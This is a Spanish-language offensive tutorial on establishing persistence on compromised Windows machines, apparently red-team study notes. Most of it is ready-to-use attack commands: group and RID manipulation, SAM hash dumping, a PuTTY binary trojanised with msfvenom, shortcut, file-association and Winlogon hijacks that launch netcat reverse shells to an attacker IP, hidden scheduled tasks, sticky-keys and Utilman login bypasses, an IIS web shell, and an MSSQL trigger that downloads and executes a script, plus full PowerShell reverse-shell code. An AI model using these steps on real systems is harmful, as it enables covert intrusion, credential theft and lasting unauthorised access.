Persistencia en entornos Windows
Persistencia Local
Manipulación de cuentas sin privilegios
Para evitar que el blue team nos detecte al usar la cuenta Administrator debido que, esta está siendo monitoreanda, podemos manipular una cuenta con pocos privilegios.
En caso de tener una cuenta con privilegios de administrador, podemos usarla para darle más privilegios al usuario que deseamos agregándolo al grupo Administrators:
net localgroup administrators <username> /addCon esto, podremos acceder a la máquina usando RDP, WinRM, u otro servicio de administración remota disponible.
En caso de evitar ser detectados por usar el grupo Administrators, podemos usar el grupo Backup Operators. Los usuarios este grupo no tienen permisos de administrador, pero podrán leer/escribir cualquier archivo o registro del sistema, ignorando cualquier DACL configurado (podríamos leer los archivos SAM y SYSTEM):
net localgroup "Backup Operators" <username> /addTambién, podemos agregar el usuario al grupo Remote Management Users para poder acceder usando servicios remotos, como RDP, WinTM u otro:
net localgroup "Remote Management Users" <username> /addSi queremos acceder usando WinRM, podemos usar la herramienta evil-winrm:
evil-winrm -i <target_ip> -u <username> -p <password>Si validamos que estamos en el grupo Backup Operators usando el comando whoami /groups, y este tiene el atributo Group used for deny only, significa que está deshabilitado, por lo tanto, no podremos ver todos los archivos.
Esto se debe a una de las características implementadas por el UAC (LocalAccountTokenFilterPolicy), la cual, elimina de cualquier cuenta local sus privilegios de administrador al iniciar sesión de forma remota. Si bien puede elevar sus privilegios a través de UAC desde una conexión con GUI, si usa WinRM, está confinado a un token de acceso limitado sin privilegios de administrador.
Para poder recuperar los privilegios de administración de su usuario, tendremos que deshabilitar LocalAccountTokenFilterPolicy cambiando la siguiente clave de registro a 1:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1Ahora, podemos hacer una copia de los archivos SAM y SYSTEM:
reg save hklm\system system.bak
reg save hklm\sam sam.bak
download system.bak
download sam.bakCon el script de secretsdump.py podemos dumpear los hashes:
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCALSe puede logar algo similar con el grupo Backup Operators, pero sin la necesidad de agrgar al usuario al grupo. Esto se logra mediante los grupos especiales, a los cuales, el OS les asigna privilegios específicos de forma predeterminada.
El grupo Backup Operators tiene asignado los siguientes privilegios:
SeBackupPrivilege: el usuario puede leer cualquier archivo del sistema, ignorando cualquier DACL
SeRestorePrivilege: el usuario puede escribir cualquier archivo del sistema, ignorando cualquer DACL
Podemos asignar privilegios a cualquier usuario usando el comando secedit:
Lo primer es exportar la configuración a un archivo temporal:
secedit /export /cfg config.infAgregamos los privilegios al archivo exportado:

Convertimos el archivo .inf en uno .sdb que se cargará la configuración del sistema:
secedit /import /cfg /config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.infAhora el usuario tiene los privilegios necesarios para leer y escribir cualquier archivo del sistema, pero no tiene los permisos para acceder de forma remota.
Modificaremos el Security Descriptor de WinRM:
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
Para esto, necesitamos un acceso GUI.
Aquí, debemos agregar el usuario que necesitemos:

Por último, para obtener los privilegios necesarios, debemos modificar el valor del registro LocalAccountTokenFilterPolicy.
Si revisamos los grupos del usuario, no se verá nada sospechoso:
net user <username>
Otra forma de obtener permisos de administrador, sin tener que serlo, es cambiando el valor del registro para que el OS piense que somos administradores.
Cuando se crea un usuario, se le asigna un Relative ID (RID), el cual, es un identificador numérico que representa al usuario en el sistema.
Cuando este inicia sesión, el proceso LSASS obtiene el RID de la sección de registro SAM, y crea un token de acceso asociado al RID. Por lo tanto, si podemos cambiar el valor del registro, podemos hacer que Windows nos asigne un token de acceso de administrador al usuario sin privilegios.
Los RID se asignan de la siguiente forma:
Administrador: RID = 500
Usuario regular: RID >= 1000
Para obtener lo RID, podemos usar el siguiente comando, donde, este valor es el último del SID:
wmic useraccount get name,sid
Ahora, necesitamos asignar el RID 500 a nuestro usuario. Para esto, necesitamos acceder a la SAM usando regedit. Solo la cuenta SYSTEM puede modificar la SAM, por lo tanto, usaremos la herramienta PsExec para obtener estos privilegios desde la cuenta Administrator:
PsExec64.exe -i -s regedit
Debemos modificar el registro HKLM\SAM\SAM\Domains\Account\Users\, donde, encontraremos llaves para cada usuario (RID) en la máquina (estos se encuentran en hexadecimal). Tenemos que cambiar el valor F del usuario 3F2 que es el RID 1010 por 1F4 que es el RID 500:


Ahora, si iniciamos sesión con el usuario modificado, LSASS asociará los privilegios del RID del usuario Administrator.
Archivos Backdoor
Otra forma para establecer persistencia, es modificar los archivos con los que sabemos que el usuario interactúa regularmente. Al modificarlos, podemos plantar un backdoor que se ejecutará cada vez que el usuario interactúe con él.
Para evitar ser descubiertos, debemos modificar los archivos, pero estos no pueden dejar de funcionar.
Si encontramos un ejecutable en el escritorio, es muy probable que el usuario lo use con frecuencia.
En este caso, modificaremos el binario de PuTTY, el cual, lo modificaremos usando msfvenom para que cuando se ejecute, cree un subproceso con una shell reversa, y funcione correctamente:
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -b "\x00" -f exe -o puttyX.exeEn caso de no querer modificar el ejecutable, podemos modificar el acceso directo. Aquí, podemos hacer que apunte a un script con el backdoor en vez del binario original, el cual, ejecutara el backdoor como el programa normalmente.
Si encontramos un acceso directo, podemos hacerle clic derecho e ir a las propiedades para ver la ruta del binario que ejecuta:

Antes de realizar el hijacking del acceso directo, debemos crear un script en PowerShell en C:\Windows\System32 o cualquier otro directorio no sospechoso. Este script ejecutará la shell reversa y luego el binario original:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe <attacker_ip> <attacker_port>"
C:\Windows\System32\calc.exePor último, modificamos el acceso directo para que apunte a nuestro script:
Esto podría hacer que el icono del acceso directo cambie. Para ejecutar esto en una ventana oculta, le agregamos la opción
-WindowStyle hidden.
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
Podemos realizar hijacking a cualquier asociación de archivos para obligar al OS a ejecutar una shell cada vez que el ausuario abre un tipo de archivo específico.
Las asociaciones de archivos por defecto del OS se mantienen dentro del registro HKLM\Software\Classes\.
En caso de que queramos modificar alguno de estos (como por ejemplo, los archivos .txt), debemos verificar la subllave deseada y encontrar el Programmic ID (ProgID) asociado a este. El ProgID corresponde a un identificador de programa instalado en el sistema:

Al buscar el ProgID, vemos que tiene la subllave shell\open\command, donde, se especifica que comando se ejcutará para los archivos con la extensión indicada:

Para este caso, crearemos un script en PowerShell, con la finalidad de que ejecute una shell reversa cada vez que se quiera abrir un archivo con la extensión deseada, y luego ejecuta el programa original:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe <attacker_ip> <attacker_port>"
C:\Windows\system32\NOTEPAD.EXE $args[0]Modificaremos el valor del registro por el siguiente:
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1 %1
Abusando de servicios
Los servicios de Windows son excelentes para configurar la persistencia, debido a que, podemos ejecutarlos en segundo plano cuando se inicia la máquina víctima.
Podemos crear e iniciar un servicio (con el nombre que deseemos) usando el siguiente comando:
sc.exe create BackdoorService binPath= "net user Administrator Password321" start= auto
sc.exe start BackdoorServiceEn este caso, estamos reseteando la contraseña del usuario Administrator cuando se inicia el servicio, además, el servicio se inicia automáticamente.
Si queremos tener una shell reversa, debemos usar los siguientes comandos:
Generación de binario malicioso:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f exe-service -o rev-svc.exeSubimos el payload y creamos el servicio:
sc.exe create BackdoorService binPath= "C:\Windows\rev-svc.exe" start= auto
sc.exe start BackdoorService
En caso de que el Blue Team se encuentre monitoreando la creación de nuevos servicios, debemos reutilizar un servicio que se encuentre deshabilitado, el cual, podríamos modificar sin ser detectados.
Podemos obtener una lista de los servicios usando el siguiente comando:
sc.exe query state=allPodemos ver la configuración de un servicio con el siguiente comando:
sc.exe qc <service_name>
Tenemos tres cosas que debemos tener en cuenta cuando usamos servicios para la persistencia:
El ejecutable (
BINARY_PATH_NAME) debe apuntar a nuestro payloadEl servicio
START_TYPEdebe estar configurado en automatico para que el payload se ejecute sin la interacción del usuarioEl
SERVICE_START_NAME, que es la cuenta bajo la cual se ejecutará el servicio, se recomienda que seaLocalSystempara que se ejecute como SYSTEM
Si queremos tener una shell reversa, debemos usar los siguientes comandos:
Generación de binario malicioso:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f exe-service -o rev-svc.exeSubimos el payload y modificamos el servicio:
sc.exe config <service_name> binPath= "C:\Windows\rev-svc.exe" start= auto obj= "LocalSystem"
sc.exe qc <service_name>
sc.exe start <service_name>
Abusando de tareas programadas
La forma más común de programar tareas es utilizando el programador de tareas integrado de Windows. El programador de tareas permite un control granular de cuándo comenzará su tarea, lo que le permite configurar tareas que se activarán a horas específicas, se repetirán periódicamente o incluso se activarán cuando ocurran eventos específicos del sistema.
Se creará una tarea que ejecutará una shell reversa cada minuto:
schtasks /create /sc minute /mo 1 /tn <task_name> /tr "c:\tools\nc64 -e cmd.exe <attacker_ip> <attacker_port>" /ru SYSTEM
Con este comando creamos una tarea y correrá una shell reversa usando netcat. Las opciones /sc y /mo indican que la tarea se ejecutará cada minuto, mientras que, la opción /ru indica que usará los privilegios de SYSTEM.
Para validar que esta se creó de forma correcta, usamos el siguiente comando:
schtasks /query /tn <task_name>
Para evitar que la tarea sea detectada, podemos ocultarla haciendola invisible eliminando su Security Descriptor (SD). Este es una ACL que indica qué usuarios tienen acceso a la tarea programada. Si su usuario no puede consultar una tarea programada, ya no podrá verla. Eliminar la SD equivale a prohibir el acceso de todos los usuarios a la tarea programada, incluidos los administradores.
El SD de todas las tareas programadas se encuentran en el registro HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\. Aquí podemos encontrar el valor llamado SD, el cual, debe ser eliminado.
Para eliminar el SD debemos abrir Regedit como SYSTEM:
PsExec64.exe -s -i regedit




Ahora si queremos validar la tarea, nos dará un error:

Persistencia activada por inicio de sesión
Cada usuario tiene una carpeta en C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp donde, podemos dejar los ejecutables para dejar los binarios a ejecutar cuando el usuario inicia sesión.
Si queremos forzar se ejecute para todos los usuarios, podemos dejar el binario en la carpeta C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
Podemos generar una shell reversa usando msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f exe -o revshell.exePara subir el payload a la máquina víctima, podemos usar un servidor web:
Servidor web:
python3 -m http.serverDescarga desde powershell:
wget http://<attacker_ip>:8000/revshell.exe -O "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\revshell.exe"Podemos hacer que un usuario ejecute un programa al iniciar sesión a través de registros:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunHKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceHKLM\Software\Microsoft\Windows\CurrentVersion\RunHKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
Los registros bajo HKCU se aplican al usuario actual, mientras que, HKLM se aplica a todos. Un programa bajo Run se ejecutará cada vez que el usuario inicie sesión, y RunOnce hará que se ejecute solo una vez.
Subimos nuestra shell reversa, y lo configuramos en el registro HKLM\Software\Microsoft\CurrentVersion\Run:

Podemos abusar del Winlogon para que se ejecute un programa al iniciar sesión.
Winlogon usa algunos registros bajo HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ que pueden usarse para ganar la persistencia:
Userinitapunta auserinit.exe, el cual, se encarga de restaurar las preferencias del perfil de usuarioShellapunta a la shell del sistema, donde, usualmente esexplorer.exe

Podemos agregar nuestra shell reversa en Shell o en Userinit:

Una de las cosas que hace userinit.exe es que mientras carga el perfil del usuario, verifica una variable de entorno llamada UserInitMprLogonScript. Podemos usar esta varibale de entorno para asignar un logon script para ejecutarlo en el logging. Esta variable no viene por defecto, por lo tanto, debemos crearla y asignarle un script.
Esto es por usuario.
Creamos la variable UserInitMprLogonScript en el registro HKCU\Environment:

Backdoor de pantalla de inicio de sesión/RDP
Si tenemos acceso físico a la máquina (o vía RDP), podemos hacer un backdoor en la pantalla de inicio de sesión para acceder a una terminal sin tener credenciales válidas para una máquina.
Para validar si tenemos sticky keys, podemos presionar las teclas CTRL, ALT y DEL sin mantener las otras presionadas, si cumple el mismo efecto que el presionarlas juntas, significa que tenemos este comportamiento.
La persistencia con este método se realiza abusando del atajo habilitado por defecto de cuando se presiona 5 veces la tecla SHIFT. En este atajo, por lo general aparace la siguiente ventana:

Luego de esto, Windows ejecutará el binario C:\Windows\System32\sethc.exe. Si somos capas de cambiar dicho binario por nuestro payload, podríamos ejecutarlo con el atajo, incluso en la pantalla de inicio de sesión antes de ingresar las credenciales.
Una forma de hacer esto, es reemplazando el binario por cmd.exe para obtener una shell.
Para reemplazar el binario, primero debemos ser dueños del binario:
takeown /f C:\Windows\System32\sethc.exe
Le damos permisos a nuestro usaurio para modificarlo, y lo reemplazamos:
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Recordar de hacer un respaldo de este antes de su modificación.
Luego de esto, validamos que en la pantalla de inicio, luego de apretar 5 veces la tecla SHIFT, se nos abre una terminal:

Utilman es una aplicación de Windows usada para proveer un acceso fácil a opciones durante la pantalla de bloqueo:

Esto ejecuta el binario C:\Windows\System32\Utilman.exe con privilegios de SYSTEM, por lo tanto, si somos capaces de cambiar el binario por cmd.exe, podríamos hacer bypass a la pantalla de inicio de sesión.
Lo primero es ser dueños del binario:
takeown /f C:\Windows\System32\Utilman.exe
Le damos permisos a nuestro usaurio para modificarlo, y lo reemplazamos:
icacls C:\Windows\System32\Utilman.exe /grant Administrator:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe
Ahora, si hacemos clic en Utilman, se nos abre una shell:

Persistencia a través de servicios existentes
La forma más fácil es cargar la web shell en el directorio de web del servidor. Esto nos dará acceso, pero con los privilegios del usuario configurado en el IIS (que por defecto, es iis apppool\defaultapppool). La gracia de este usuario, es que tiene el permiso SeImpersonatePrivilege.
Podemos usar la siguiente web shell en ASP.NET, el cual, debe estar en el directorio C:\inetpub\wwwroot:

Ahora vamos a la URL http://<target_ip>/cmdasp.aspx:


Una de las formas de crear un backdoor en MSSQL Server, es abusando de los triggers.
Agregar un trigger en MSSQL nos permite vincular acciones que se realizarán cuando ocurran eventos específicos en la DB (los eventos pueden ser: usuarios iniciando sesión hasta que inserte datos, los actualice o los elimine desde una tabla).
Crearemos un trigger para cualquier INSETen la DB.
Lo primero es reconfigurar algunas cosas de la DB:
Debemos habilitar el
xp_cmdshell, por lo tanto, abrimos el servicio, y nos autenticamos con la opciónWindows Authentication:

Creamos una nueva query:

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO
sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
Habilitamos que cualquiera pueda personificar el usuario
sa:
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
Nos vamos a la DB (en este caso
HRDB) en la que queremos configurar el trigger:
USE HRDB
Nuestro trigger ejecutará PowerShell para descargar y ejecutar un archivo
.ps1desde un servidor web del atacante. El trigger estará configurado para ejecutarse en cualquier momento en que se ejecute unINSERTen la tabla indicada (en este caso esEmployees), dentro de la DB:
CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://attacker_ip:8000/evilscript.ps1'')"';
Creamos el script en la máquina atacante:
$client = New-Object System.Net.Sockets.TCPClient("attacker_ip",<attacker_port>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()Dejamos a la escucha nuestro listener y levantamos el servidor web:

Ahora navegamos en el sitio web para generar un
INSERT, y así obtener nuestra shell:


Last updated